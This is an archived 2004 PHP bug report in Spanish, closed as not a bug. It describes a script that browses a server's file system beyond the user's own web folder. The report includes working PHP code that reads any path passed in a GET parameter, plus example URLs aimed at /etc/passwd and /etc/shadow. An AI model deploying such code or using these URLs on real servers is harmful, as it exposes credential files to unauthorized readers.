php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #30714 se pueden ver archivos de directorios que no se pueden tener acceso en el host
Submitted: 2004-11-07 20:26 UTC Modified: 2004-11-07 23:10 UTC
From: bersuiteros at gmail dot com Assigned:
Status: Not a bug Package: Directory function related
PHP Version: Irrelevant OS: Linux, Unix, Windows
Private report: No CVE-ID: None
 [2004-11-07 20:26 UTC] bersuiteros at gmail dot com
Description:
------------
Busque y busque, y no encontre que lo hayan reportado antes... asique aca estoy escribiendo, aun nose si se puede declarar como BUG, pero bue...

con un especifico script se puede acceder a cualquier directorio sin la necesidad de ningun login y/o password ni nada por el estilo...
por ejemplo:
yo tengo una pagina en un servidor X...
mi pagina es del tipo: http://www.X.com/mipagina
(lo he probado en servidores Unix y Linux, si mal no recuerdo)
voy a poder ver carpetas y archivos dentro del servidor mucho mas arriba en el arbol de directorio que la carpeta donde esta alojada mi pagina...
el codigo se va a entender mejor...

el if(!isset($dir)), sirve para inicializar la variable $dir por si no fue pasada como GET.

el if (!is_dir($dir)), sirve para mostrar el archivo siempre y cuando no sea un directorio del String que tiene la var $dir

y el resto lo que hace es mostrar por pantalla los archivos y/o directorios que posee $dir... agregue un <a> para que sea mas facil ir metiendose en el arbol de directorios.

no se si esto es un bug... pero se puede llegar a sacar claves de cualquier pagina y hasta del root del servidor en que este alojado este script.

por ejemplo, poniendo:
http://www.X.com/mipagina/script.php?dir=etc/passwd
o
http://www.X.com/mipagina/script.php?dir=etc/shadow

se podra ver el contenido de ese archivo tan importante.

gracias.

Reproduce code:
---------------
<?php
if (!isset($dir))
	$dir = '/';
else
	$dir = '/'.$dir;
if (!is_dir($dir)){
	$file = fopen($dir,"r");
	while (!feof ($file)) {
	    $line = fgets ($file, 1024);
	    echo $line."<br>";
	}
      fclose($file);
}

$directorio = dir($dir);
while ($file = $directorio->read()) {
    echo "<a href=\"script.php?dir=".$dir."/".$file."\">$file</a><br>";
}
?>

Expected result:
----------------
.
..
.autofsck
boot
dev
proc
var
tmp
etc
root
usr
bin
home
initrd
lib
mnt
opt
sbin
SWH
www
lost+found


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2004-11-07 20:35 UTC] bersuiteros at gmail dot com
es exactamente un bug?? o es problema de todos los servidores donde probe el script??
 [2004-11-07 22:42 UTC] derick@php.net
Not enough information was provided for us to be able
to handle this bug. Please re-read the instructions at
http://bugs.php.net/how-to-report.php

If you can provide more information, feel free to add it
to this bug and change the status back to "Open".

Thank you for your interest in PHP.


We only handle bugreports in English.
 [2004-11-07 22:56 UTC] bersuiteros at gmail dot com
es problema de los servidores en los que probe el script
gracias
 [2004-11-07 23:10 UTC] derick@php.net
I think this said it was a user problem -> bogus.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 06:01:30 2024 UTC